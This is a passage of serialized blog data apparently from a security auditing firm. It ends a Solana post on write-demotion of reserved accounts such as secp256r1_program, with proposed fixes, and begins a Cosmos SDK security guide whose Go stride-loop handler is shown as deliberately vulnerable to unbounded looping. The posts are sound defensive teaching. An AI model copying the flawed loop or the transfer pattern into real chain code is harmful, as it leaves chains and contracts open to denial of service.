998,"children":73999},{"style":449},[74000],{"type":29,"value":19515},{"type":23,"tag":141,"props":74002,"children":74003},{"style":750},[74004],{"type":29,"value":40714},{"type":23,"tag":141,"props":74006,"children":74007},{"style":160},[74008],{"type":29,"value":114},{"type":23,"tag":141,"props":74010,"children":74011},{"style":725},[74012],{"type":29,"value":21830},{"type":23,"tag":141,"props":74014,"children":74015},{"style":154},[74016],{"type":29,"value":21594},{"type":23,"tag":141,"props":74018,"children":74019},{"style":725},[74020],{"type":29,"value":21599},{"type":23,"tag":141,"props":74022,"children":74023},{"style":154},[74024],{"type":29,"value":4812},{"type":23,"tag":141,"props":74026,"children":74027},{"class":143,"line":848},[74028],{"type":23,"tag":141,"props":74029,"children":74030},{"style":154},[74031],{"type":29,"value":2573},{"type":23,"tag":32,"props":74033,"children":74034},{},[74035,74037,74043,74045,74051],{"type":29,"value":74036},"This works fine — until one day, ",{"type":23,"tag":38,"props":74038,"children":74040},{"className":74039},[],[74041],{"type":29,"value":74042},"old_king",{"type":29,"value":74044}," is silently demoted. Suddenly, the ",{"type":23,"tag":38,"props":74046,"children":74048},{"className":74047},[],[74049],{"type":29,"value":74050},"#[account(mut)]",{"type":29,"value":74052}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":17563,"props":74054,"children":74056},{"id":74055},"real-world-example-write-demotion-with-secp256r1_program",[74057,74059],{"type":29,"value":74058},"Real-World Example: Write-Demotion with ",{"type":23,"tag":38,"props":74060,"children":74062},{"className":74061},[],[74063],{"type":29,"value":74064},"secp256r1_program",{"type":23,"tag":32,"props":74066,"children":74067},{},[74068,74070,74075],{"type":29,"value":74069},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":38,"props":74071,"children":74073},{"className":74072},[],[74074],{"type":29,"value":74064},{"type":29,"value":74076},", a precompiled program gated behind a feature flag:",{"type":23,"tag":131,"props":74078,"children":74080},{"className":1639,"code":74079,"language":1638,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[74081],{"type":23,"tag":38,"props":74082,"children":74083},{"__ignoreMap":7},[74084,74105,74125,74154],{"type":23,"tag":141,"props":74085,"children":74086},{"class":143,"line":144},[74087,74092,74096,74101],{"type":23,"tag":141,"props":74088,"children":74089},{"style":725},[74090],{"type":29,"value":74091},"ReservedAccount",{"type":23,"tag":141,"props":74093,"children":74094},{"style":160},[74095],{"type":29,"value":2141},{"type":23,"tag":141,"props":74097,"children":74098},{"style":184},[74099],{"type":29,"value":74100},"new_pending",{"type":23,"tag":141,"props":74102,"children":74103},{"style":154},[74104],{"type":29,"value":2123},{"type":23,"tag":141,"props":74106,"children":74107},{"class":143,"line":180},[74108,74113,74117,74121],{"type":23,"tag":141,"props":74109,"children":74110},{"style":154},[74111],{"type":29,"value":74112}," secp256r1_program",{"type":23,"tag":141,"props":74114,"children":74115},{"style":160},[74116],{"type":29,"value":2141},{"type":23,"tag":141,"props":74118,"children":74119},{"style":184},[74120],{"type":29,"value":2146},{"type":23,"tag":141,"props":74122,"children":74123},{"style":154},[74124],{"type":29,"value":2151},{"type":23,"tag":141,"props":74126,"children":74127},{"class":143,"line":205},[74128,74133,74137,74142,74146,74150],{"type":23,"tag":141,"props":74129,"children":74130},{"style":154},[74131],{"type":29,"value":74132}," feature_set",{"type":23,"tag":141,"props":74134,"children":74135},{"style":160},[74136],{"type":29,"value":2141},{"type":23,"tag":141,"props":74138,"children":74139},{"style":154},[74140],{"type":29,"value":74141},"enable_secp256r1_precompile",{"type":23,"tag":141,"props":74143,"children":74144},{"style":160},[74145],{"type":29,"value":2141},{"type":23,"tag":141,"props":74147,"children":74148},{"style":184},[74149],{"type":29,"value":2146},{"type":23,"tag":141,"props":74151,"children":74152},{"style":154},[74153],{"type":29,"value":2151},{"type":23,"tag":141,"props":74155,"children":74156},{"class":143,"line":218},[74157],{"type":23,"tag":141,"props":74158,"children":74159},{"style":154},[74160],{"type":29,"value":758},{"type":23,"tag":32,"props":74162,"children":74163},{},[74164,74166,74171,74173,74179],{"type":29,"value":74165},"Before the ",{"type":23,"tag":38,"props":74167,"children":74169},{"className":74168},[],[74170],{"type":29,"value":74141},{"type":29,"value":74172}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":38,"props":74174,"children":74176},{"className":74175},[],[74177],{"type":29,"value":74178},"secp256r1_program::id()",{"type":29,"value":74180}," as the king in a contract.",{"type":23,"tag":32,"props":74182,"children":74183},{},[74184,74186,74191],{"type":29,"value":74185},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":38,"props":74187,"children":74189},{"className":74188},[],[74190],{"type":29,"value":74178},{"type":29,"value":74192}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":17563,"props":74194,"children":74196},{"id":74195},"fix-3-preventing-write-demotion-pitfalls",[74197],{"type":29,"value":74198},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":32,"props":74200,"children":74201},{},[74202,74204,74209],{"type":29,"value":74203},"Alright, let’s try to fix this ",{"type":23,"tag":47,"props":74205,"children":74206},{},[74207],{"type":29,"value":74208},"yet another",{"type":29,"value":74210}," edge case — and hopefully close the book on it.",{"type":23,"tag":17563,"props":74212,"children":74214},{"id":74213},"attempt-1-block-known-reserved-accounts",[74215],{"type":29,"value":74216},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":32,"props":74218,"children":74219},{},[74220],{"type":29,"value":74221},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":131,"props":74223,"children":74225},{"className":38832,"code":74224,"language":38834,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[74226],{"type":23,"tag":38,"props":74227,"children":74228},{"__ignoreMap":7},[74229,74237],{"type":23,"tag":141,"props":74230,"children":74231},{"class":143,"line":144},[74232],{"type":23,"tag":141,"props":74233,"children":74234},{"style":154},[74235],{"type":29,"value":74236}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":141,"props":74238,"children":74239},{"class":143,"line":180},[74240],{"type":23,"tag":141,"props":74241,"children":74242},{"style":472},[74243],{"type":29,"value":74244},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":32,"props":74246,"children":74247},{},[74248,74250,74255],{"type":29,"value":74249},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":38,"props":74251,"children":74253},{"className":74252},[],[74254],{"type":29,"value":74091},{"type":29,"value":74256}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":17563,"props":74258,"children":74260},{"id":74259},"attempt-2-use-a-pda-vault",[74261],{"type":29,"value":74262},"Attempt 2: Use a PDA Vault",{"type":23,"tag":32,"props":74264,"children":74265},{},[74266,74268,74273],{"type":29,"value":74267},"A more future-proof fix is to avoid ",{"type":23,"tag":3998,"props":74269,"children":74270},{},[74271],{"type":29,"value":74272},"transferring lamports to arbitrary accounts",{"type":29,"value":74274}," altogether.",{"type":23,"tag":32,"props":74276,"children":74277},{},[74278],{"type":29,"value":74279},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":24,"props":74281,"children":74283},{"id":74282},"final-thoughts",[74284],{"type":29,"value":74285},"Final Thoughts",{"type":23,"tag":32,"props":74287,"children":74288},{},[74289],{"type":29,"value":74290},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":32,"props":74292,"children":74293},{},[74294],{"type":29,"value":74295},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":15362,"props":74297,"children":74298},{},[74299,74304,74309],{"type":23,"tag":120,"props":74300,"children":74301},{},[74302],{"type":29,"value":74303},"It's not executable.",{"type":23,"tag":120,"props":74305,"children":74306},{},[74307],{"type":29,"value":74308},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":120,"props":74310,"children":74311},{},[74312],{"type":29,"value":74313},"It's not a reserved account.",{"type":23,"tag":32,"props":74315,"children":74316},{},[74317],{"type":29,"value":74318},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":1508,"props":74320,"children":74321},{},[74322],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":74324},[74325,74326,74327,74333],{"id":26,"depth":180,"text":30},{"id":69707,"depth":180,"text":69710},{"id":70814,"depth":180,"text":70817,"children":74328},[74329,74330,74332],{"id":70820,"depth":205,"text":70823},{"id":71507,"depth":205,"text":74331},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":72812,"depth":205,"text":72815},{"id":74282,"depth":180,"text":74285},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":74338,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74339,"description":74340,"date":74341,"author":74342,"image":74343,"isFeatured":15,"onBlogPage":15,"tags":74345,"body":74348,"_type":1522,"_id":88233,"_source":1524,"_file":88234,"_stem":88235,"_extension":1527},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":74344,"width":13,"height":13},"/posts/cosmos-security/title.png",[74346,74347],"cosmos-sdk","security",{"type":20,"children":74349,"toc":88211},[74350,74354,74359,74364,74370,74375,74380,74385,74646,75135,75154,75159,75164,75169,75175,75180,75215,75225,75732,75752,75765,75771,75776,75781,76022,76027,76035,76047,76409,76414,76419,76455,76464,76890,76911,76917,76937,76958,76977,77009,77021,77033,77687,77715,77724,78164,78191,78211,78216,78237,78286,78295,79527,79555,79561,79566,79571,79591,79878,79912,80093,80098,80103,80147,80156,81348,81599,81612,81618,81652,81657,81720,81725,81745,81764,81776,81795,82487,82492,82497,82525,82534,83419,83446,83452,83472,83477,83490,83664,83677,83768,83773,83781,83791,83941,83946,83966,83974,83979,84377,84389,84394,84435,84446,84466,84774,84779,85704,85716,85724,85729,86722,86727,86739,86759,86778,87692,87749,87855,87867,87872,87877,87905,87914,88140,88166,88179,88193,88197,88202,88207],{"type":23,"tag":24,"props":74351,"children":74352},{"id":26},[74353],{"type":29,"value":30},{"type":23,"tag":32,"props":74355,"children":74356},{},[74357],{"type":29,"value":74358},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":32,"props":74360,"children":74361},{},[74362],{"type":29,"value":74363},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":24,"props":74365,"children":74367},{"id":74366},"its-loopin-time",[74368],{"type":29,"value":74369},"It's Loopin' Time",{"type":23,"tag":32,"props":74371,"children":74372},{},[74373],{"type":29,"value":74374},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":32,"props":74376,"children":74377},{},[74378],{"type":29,"value":74379},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":32,"props":74381,"children":74382},{},[74383],{"type":29,"value":74384},"Here is a simple example for reference:",{"type":23,"tag":131,"props":74386,"children":74388},{"code":74387,"language":17,"meta":7,"className":432,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[74389],{"type":23,"tag":38,"props":74390,"children":74391},{"__ignoreMap":7},[74392,74408,74425,74441,74463,74492,74513,74537,74558,74565,74586,74603,74620,74627,74639],{"type":23,"tag":141,"props":74393,"children":74394},{"class":143,"line":144},[74395,74399,74404],{"type":23,"tag":141,"props":74396,"children":74397},{"style":449},[74398],{"type":29,"value":29845},{"type":23,"tag":141,"props":74400,"children":74401},{"style":184},[74402],{"type":29,"value":74403}," sumWithStride",{"type":23,"tag":141,"props":74405,"children":74406},{"style":154},[74407],{"type":29,"value":2123},{"type":23,"tag":141,"props":74409,"children":74410},{"class":143,"line":180},[74411,74416,74421],{"type":23,"tag":141,"props":74412,"children":74413},{"style":725},[74414],{"type":29,"value":74415}," uint64",{"type":23,"tag":141,"props":74417,"children":74418},{"style":750},[74419],{"type":29,"value":74420}," start",{"type":23,"tag":141,"props":74422,"children":74423},{"style":154},[74424],{"type":29,"value":2168},{"type":23,"tag":141,"props":74426,"children":74427},{"class":143,"line":205},[74428,74432,74437],{"type":23,"tag":141,"props":74429,"children":74430},{"style":725},[74431],{"type":29,"value":74415},{"type":23,"tag":141,"props":74433,"children":74434},{"style":750},[74435],{"type":29,"value":74436}," stride",{"type":23,"tag":141,"props":74438,"children":74439},{"style":154},[74440],{"type":29,"value":2168},{"type":23,"tag":141,"props":74442,"children":74443},{"class":143,"line":218},[74444,74448,74453,74458],{"type":23,"tag":141,"props":74445,"children":74446},{"style":725},[74447],{"type":29,"value":74415},{"type":23,"tag":141,"props":74449,"children":74450},{"style":154},[74451],{"type":29,"value":74452},"[] ",{"type":23,"tag":141,"props":74454,"children":74455},{"style":449},[74456],{"type":29,"value":74457},"memory",{"type":23,"tag":141,"props":74459,"children":74460},{"style":750},[74461],{"type":29,"value":74462}," arr\n",{"type":23,"tag":141,"props":74464,"children":74465},{"class":143,"line":227},[74466,74470,74474,74479,74483,74488],{"type":23,"tag":141,"props":74467,"children":74468},{"style":154},[74469],{"type":29,"value":1748},{"type":23,"tag":141,"props":74471,"children":74472},{"style":449},[74473],{"type":29,"value":60156},{"type":23,"tag":141,"props":74475,"children":74476},{"style":148},[74477],{"type":29,"value":74478}," returns",{"type":23,"tag":141,"props":74480,"children":74481},{"style":154},[74482],{"type":29,"value":1220},{"type":23,"tag":141,"props":74484,"children":74485},{"style":725},[74486],{"type":29,"value":74487},"uint64",{"type":23,"tag":141,"props":74489,"children":74490},{"style":154},[74491],{"type":29,"value":13480},{"type":23,"tag":141,"props":74493,"children":74494},{"class":143,"line":241},[74495,74499,74504,74508],{"type":23,"tag":141,"props":74496,"children":74497},{"style":725},[74498],{"type":29,"value":74415},{"type":23,"tag":141,"props":74500,"children":74501},{"style":154},[74502],{"type":29,"value":74503}," idx ",{"type":23,"tag":141,"props":74505,"children":74506},{"style":160},[74507],{"type":29,"value":1377},{"type":23,"tag":141,"props":74509,"children":74510},{"style":154},[74511],{"type":29,"value":74512}," start;\n",{"type":23,"tag":141,"props":74514,"children":74515},{"class":143,"line":262},[74516,74520,74525,74529,74533],{"type":23,"tag":141,"props":74517,"children":74518},{"style":725},[74519],{"type":29,"value":74415},{"type":23,"tag":141,"props":74521,"children":74522},{"style":154},[74523],{"type":29,"value":74524}," sum ",{"type":23,"tag":141,"props":74526,"children":74527},{"style":160},[74528],{"type":29,"value":1377},{"type":23,"tag":141,"props":74530,"children":74531},{"style":472},[74532],{"type":29,"value":1707},{"type":23,"tag":141,"props":74534,"children":74535},{"style":154},[74536],{"type":29,"value":1684},{"type":23,"tag":141,"props":74538,"children":74539},{"class":143,"line":271},[74540,74544,74549,74553],{"type":23,"tag":141,"props":74541,"children":74542},{"style":725},[74543],{"type":29,"value":74415},{"type":23,"tag":141,"props":74545,"children":74546},{"style":154},[74547],{"type":29,"value":74548}," end ",{"type":23,"tag":141,"props":74550,"children":74551},{"style":160},[74552],{"type":29,"value":1377},{"type":23,"tag":141,"props":74554,"children":74555},{"style":154},[74556],{"type":29,"value":74557}," arr.length;\n",{"type":23,"tag":141,"props":74559,"children":74560},{"class":143,"line":293},[74561],{"type":23,"tag":141,"props":74562,"children":74563},{"emptyLinePlaceholder":15},[74564],{"type":29,"value":719},{"type":23,"tag":141,"props":74566,"children":74567},{"class":143,"line":801},[74568,74572,74577,74581],{"type":23,"tag":141,"props":74569,"children":74570},{"style":148},[74571],{"type":29,"value":62855},{"type":23,"tag":141,"props":74573,"children":74574},{"style":154},[74575],{"type":29,"value":74576}," (idx ",{"type":23,"tag":141,"props":74578,"children":74579},{"style":160},[74580],{"type":29,"value":4480},{"type":23,"tag":141,"props":74582,"children":74583},{"style":154},[74584],{"type":29,"value":74585}," end) {\n",{"type":23,"tag":141,"props":74587,"children":74588},{"class":143,"line":810},[74589,74594,74598],{"type":23,"tag":141,"props":74590,"children":74591},{"style":154},[74592],{"type":29,"value":74593}," sum ",{"type":23,"tag":141,"props":74595,"children":74596},{"style":160},[74597],{"type":29,"value":66920},{"type":23,"tag":141,"props":74599,"children":74600},{"style":154},[74601],{"type":29,"value":74602}," arr[idx];\n",{"type":23,"tag":141,"props":74604,"children":74605},{"class":143,"line":824},[74606,74611,74615],{"type":23,"tag":141,"props":74607,"children":74608},{"style":154},[74609],{"type":29,"value":74610}," idx ",{"type":23,"tag":141,"props":74612,"children":74613},{"style":160},[74614],{"type":29,"value":66920},{"type":23,"tag":141,"props":74616,"children":74617},{"style":154},[74618],{"type":29,"value":74619}," stride;\n",{"type":23,"tag":141,"props":74621,"children":74622},{"class":143,"line":839},[74623],{"type":23,"tag":141,"props":74624,"children":74625},{"style":154},[74626],{"type":29,"value":299},{"type":23,"tag":141,"props":74628,"children":74629},{"class":143,"line":848},[74630,74634],{"type":23,"tag":141,"props":74631,"children":74632},{"style":148},[74633],{"type":29,"value":15665},{"type":23,"tag":141,"props":74635,"children":74636},{"style":154},[74637],{"type":29,"value":74638}," sum;\n",{"type":23,"tag":141,"props":74640,"children":74641},{"class":143,"line":2304},[74642],{"type":23,"tag":141,"props":74643,"children":74644},{"style":154},[74645],{"type":29,"value":2573},{"type":23,"tag":131,"props":74647,"children":74651},{"code":74648,"language":74649,"meta":7,"className":74650,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[74652],{"type":23,"tag":38,"props":74653,"children":74654},{"__ignoreMap":7},[74655,74675,74688,74700,74718,74725,74732,74752,74764,74771,74778,74813,74839,74860,74889,74919,74964,75041,75077,75084,75128],{"type":23,"tag":141,"props":74656,"children":74657},{"class":143,"line":144},[74658,74662,74667,74671],{"type":23,"tag":141,"props":74659,"children":74660},{"style":449},[74661],{"type":29,"value":31225},{"type":23,"tag":141,"props":74663,"children":74664},{"style":725},[74665],{"type":29,"value":74666}," MsgSumWithStrideParams",{"type":23,"tag":141,"props":74668,"children":74669},{"style":449},[74670],{"type":29,"value":19823},{"type":23,"tag":141,"props":74672,"children":74673},{"style":154},[74674],{"type":29,"value":1951},{"type":23,"tag":141,"props":74676,"children":74677},{"class":143,"line":180},[74678,74683],{"type":23,"tag":141,"props":74679,"children":74680},{"style":750},[74681],{"type":29,"value":74682}," Start",{"type":23,"tag":141,"props":74684,"children":74685},{"style":725},[74686],{"type":29,"value":74687}," uint64\n",{"type":23,"tag":141,"props":74689,"children":74690},{"class":143,"line":205},[74691,74696],{"type":23,"tag":141,"props":74692,"children":74693},{"style":750},[74694],{"type":29,"value":74695}," Stride",{"type":23,"tag":141,"props":74697,"children":74698},{"style":725},[74699],{"type":29,"value":74687},{"type":23,"tag":141,"props":74701,"children":74702},{"class":143,"line":218},[74703,74708,74713],{"type":23,"tag":141,"props":74704,"children":74705},{"style":750},[74706],{"type":29,"value":74707}," Arr",{"type":23,"tag":141,"props":74709,"children":74710},{"style":154},[74711],{"type":29,"value":74712}," []",{"type":23,"tag":141,"props":74714,"children":74715},{"style":725},[74716],{"type":29,"value":74717},"uint64\n",{"type":23,"tag":141,"props":74719,"children":74720},{"class":143,"line":227},[74721],{"type":23,"tag":141,"props":74722,"children":74723},{"style":154},[74724],{"type":29,"value":2573},{"type":23,"tag":141,"props":74726,"children":74727},{"class":143,"line":241},[74728],{"type":23,"tag":141,"props":74729,"children":74730},{"emptyLinePlaceholder":15},[74731],{"type":29,"value":719},{"type":23,"tag":141,"props":74733,"children":74734},{"class":143,"line":262},[74735,74739,74744,74748],{"type":23,"tag":141,"props":74736,"children":74737},{"style":449},[74738],{"type":29,"value":31225},{"type":23,"tag":141,"props":74740,"children":74741},{"style":725},[74742],{"type":29,"value":74743}," MsgSumWithStrideResponse",{"type":23,"tag":141,"props":74745,"children":74746},{"style":449},[74747],{"type":29,"value":19823},{"type":23,"tag":141,"props":74749,"children":74750},{"style":154},[74751],{"type":29,"value":1951},{"type":23,"tag":141,"props":74753,"children":74754},{"class":143,"line":271},[74755,74760],{"type":23,"tag":141,"props":74756,"children":74757},{"style":750},[74758],{"type":29,"value":74759}," Sum",{"type":23,"tag":141,"props":74761,"children":74762},{"style":725},[74763],{"type":29,"value":74687},{"type":23,"tag":141,"props":74765,"children":74766},{"class":143,"line":293},[74767],{"type":23,"tag":141,"props":74768,"children":74769},{"style":154},[74770],{"type":29,"value":2573},{"type":23,"tag":141,"props":74772,"children":74773},{"class":143,"line":801},[74774],{"type":23,"tag":141,"props":74775,"children":74776},{"emptyLinePlaceholder":15},[74777],{"type":29,"value":719},{"type":23,"tag":141,"props":74779,"children":74780},{"class":143,"line":810},[74781,74786,74790,74795,74800,74804,74809],{"type":23,"tag":141,"props":74782,"children":74783},{"style":449},[74784],{"type":29,"value":74785},"func",{"type":23,"tag":141,"props":74787,"children":74788},{"style":154},[74789],{"type":29,"value":1220},{"type":23,"tag":141,"props":74791,"children":74792},{"style":750},[74793],{"type":29,"value":74794},"ms ",{"type":23,"tag":141,"props":74796,"children":74797},{"style":725},[74798],{"type":29,"value":74799},"msgServer",{"type":23,"tag":141,"props":74801,"children":74802},{"style":154},[74803],{"type":29,"value":1748},{"type":23,"tag":141,"props":74805,"children":74806},{"style":184},[74807],{"type":29,"value":74808},"SumWithStride",{"type":23,"tag":141,"props":74810,"children":74811},{"style":154},[74812],{"type":29,"value":2123},{"type":23,"tag":141,"props":74814,"children":74815},{"class":143,"line":824},[74816,74821,74826,74830,74835],{"type":23,"tag":141,"props":74817,"children":74818},{"style":750},[74819],{"type":29,"value":74820}," goCtx",{"type":23,"tag":141,"props":74822,"children":74823},{"style":725},[74824],{"type":29,"value":74825}," context",{"type":23,"tag":141,"props":74827,"children":74828},{"style":154},[74829],{"type":29,"value":322},{"type":23,"tag":141,"props":74831,"children":74832},{"style":725},[74833],{"type":29,"value":74834},"Context",{"type":23,"tag":141,"props":74836,"children":74837},{"style":154},[74838],{"type":29,"value":2168},{"type":23,"tag":141,"props":74840,"children":74841},{"class":143,"line":839},[74842,74847,74851,74856],{"type":23,"tag":141,"props":74843,"children":74844},{"style":750},[74845],{"type":29,"value":74846}," msg",{"type":23,"tag":141,"props":74848,"children":74849},{"style":160},[74850],{"type":29,"value":8496},{"type":23,"tag":141,"props":74852,"children":74853},{"style":725},[74854],{"type":29,"value":74855},"MsgSumWithStrideParams",{"type":23,"tag":141,"props":74857,"children":74858},{"style":154},[74859],{"type":29,"value":2168},{"type":23,"tag":141,"props":74861,"children":74862},{"class":143,"line":848},[74863,74868,74872,74877,74881,74885],{"type":23,"tag":141,"props":74864,"children":74865},{"style":154},[74866],{"type":29,"value":74867},") (",{"type":23,"tag":141,"props":74869,"children":74870},{"style":160},[74871],{"type":29,"value":197},{"type":23,"tag":141,"props":74873,"children":74874},{"style":725},[74875],{"type":29,"value":74876},"MsgSumWithStrideResponse",{"type":23,"tag":141,"props":74878,"children":74879},{"style":154},[74880],{"type":29,"value":480},{"type":23,"tag":141,"props":74882,"children":74883},{"style":725},[74884],{"type":29,"value":13540},{"type":23,"tag":141,"props":74886,"children":74887},{"style":154},[74888],{"type":29,"value":13480},{"type":23,"tag":141,"props":74890,"children":74891},{"class":143,"line":2304},[74892,74897,74902,74907,74911,74915],{"type":23,"tag":141,"props":74893,"children":74894},{"style":750},[74895],{"type":29,"value":74896}," sum",{"type":23,"tag":141,"props":74898,"children":74899},{"style":160},[74900],{"type":29,"value":74901}," :=",{"type":23,"tag":141,"props":74903,"children":74904},{"style":725},[74905],{"type":29,"value":74906}," uint64",{"type":23,"tag":141,"props":74908,"children":74909},{"style":154},[74910],{"type":29,"value":192},{"type":23,"tag":141,"props":74912,"children":74913},{"style":472},[74914],{"type":29,"value":2698},{"type":23,"tag":141,"props":74916,"children":74917},{"style":154},[74918],{"type":29,"value":758},{"type":23,"tag":141,"props":74920,"children":74921},{"class":143,"line":2313},[74922,74927,74931,74935,74939,74943,74947,74951,74955,74960],{"type":23,"tag":141,"props":74923,"children":74924},{"style":750},[74925],{"type":29,"value":74926}," end",{"type":23,"tag":141,"props":74928,"children":74929},{"style":160},[74930],{"type":29,"value":74901},{"type":23,"tag":141,"props":74932,"children":74933},{"style":725},[74934],{"type":29,"value":74906},{"type":23,"tag":141,"props":74936,"children":74937},{"style":154},[74938],{"type":29,"value":192},{"type":23,"tag":141,"props":74940,"children":74941},{"style":184},[74942],{"type":29,"value":7817},{"type":23,"tag":141,"props":74944,"children":74945},{"style":154},[74946],{"type":29,"value":192},{"type":23,"tag":141,"props":74948,"children":74949},{"style":750},[74950],{"type":29,"value":56426},{"type":23,"tag":141,"props":74952,"children":74953},{"style":154},[74954],{"type":29,"value":322},{"type":23,"tag":141,"props":74956,"children":74957},{"style":750},[74958],{"type":29,"value":74959},"Arr",{"type":23,"tag":141,"props":74961,"children":74962},{"style":154},[74963],{"type":29,"value":498},{"type":23,"tag":141,"props":74965,"children":74966},{"class":143,"line":2335},[74967,74971,74976,74980,74985,74989,74994,74998,75003,75007,75012,75016,75020,75024,75028,75032,75037],{"type":23,"tag":141,"props":74968,"children":74969},{"style":148},[74970],{"type":29,"value":1692},{"type":23,"tag":141,"props":74972,"children":74973},{"style":750},[74974],{"type":29,"value":74975}," idx",{"type":23,"tag":141,"props":74977,"children":74978},{"style":160},[74979],{"type":29,"value":74901},{"type":23,"tag":141,"props":74981,"children":74982},{"style":750},[74983],{"type":29,"value":74984}," msg",{"type":23,"tag":141,"props":74986,"children":74987},{"style":154},[74988],{"type":29,"value":322},{"type":23,"tag":141,"props":74990,"children":74991},{"style":750},[74992],{"type":29,"value":74993},"Start",{"type":23,"tag":141,"props":74995,"children":74996},{"style":154},[74997],{"type":29,"value":15903},{"type":23,"tag":141,"props":74999,"children":75000},{"style":750},[75001],{"type":29,"value":75002},"idx",{"type":23,"tag":141,"props":75004,"children":75005},{"style":160},[75006],{"type":29,"value":7395},{"type":23,"tag":141,"props":75008,"children":75009},{"style":750},[75010],{"type":29,"value":75011}," end",{"type":23,"tag":141,"props":75013,"children":75014},{"style":154},[75015],{"type":29,"value":15903},{"type":23,"tag":141,"props":75017,"children":75018},{"style":750},[75019],{"type":29,"value":75002},{"type":23,"tag":141,"props":75021,"children":75022},{"style":160},[75023],{"type":29,"value":13741},{"type":23,"tag":141,"props":75025,"children":75026},{"style":750},[75027],{"type":29,"value":74984},{"type":23,"tag":141,"props":75029,"children":75030},{"style":154},[75031],{"type":29,"value":322},{"type":23,"tag":141,"props":75033,"children":75034},{"style":750},[75035],{"type":29,"value":75036},"Stride",{"type":23,"tag":141,"props":75038,"children":75039},{"style":154},[75040],{"type":29,"value":1951},{"type":23,"tag":141,"props":75042,"children":75043},{"class":143,"line":2343},[75044,75049,75053,75057,75061,75065,75069,75073],{"type":23,"tag":141,"props":75045,"children":75046},{"style":750},[75047],{"type":29,"value":75048}," sum",{"type":23,"tag":141,"props":75050,"children":75051},{"style":160},[75052],{"type":29,"value":13741},{"type":23,"tag":141,"props":75054,"children":75055},{"style":750},[75056],{"type":29,"value":74984},{"type":23,"tag":141,"props":75058,"children":75059},{"style":154},[75060],{"type":29,"value":322},{"type":23,"tag":141,"props":75062,"children":75063},{"style":750},[75064],{"type":29,"value":74959},{"type":23,"tag":141,"props":75066,"children":75067},{"style":154},[75068],{"type":29,"value":2399},{"type":23,"tag":141,"props":75070,"children":75071},{"style":750},[75072],{"type":29,"value":75002},{"type":23,"tag":141,"props":75074,"children":75075},{"style":154},[75076],{"type":29,"value":10452},{"type":23,"tag":141,"props":75078,"children":75079},{"class":143,"line":2352},[75080],{"type":23,"tag":141,"props":75081,"children":75082},{"style":154},[75083],{"type":29,"value":299},{"type":23,"tag":141,"props":75085,"children":75086},{"class":143,"line":2421},[75087,75091,75095,75099,75104,75109,75113,75118,75123],{"type":23,"tag":141,"props":75088,"children":75089},{"style":148},[75090],{"type":29,"value":15665},{"type":23,"tag":141,"props":75092,"children":75093},{"style":160},[75094],{"type":29,"value":5815},{"type":23,"tag":141,"props":75096,"children":75097},{"style":725},[75098],{"type":29,"value":74876},{"type":23,"tag":141,"props":75100,"children":75101},{"style":154},[75102],{"type":29,"value":75103},"{",{"type":2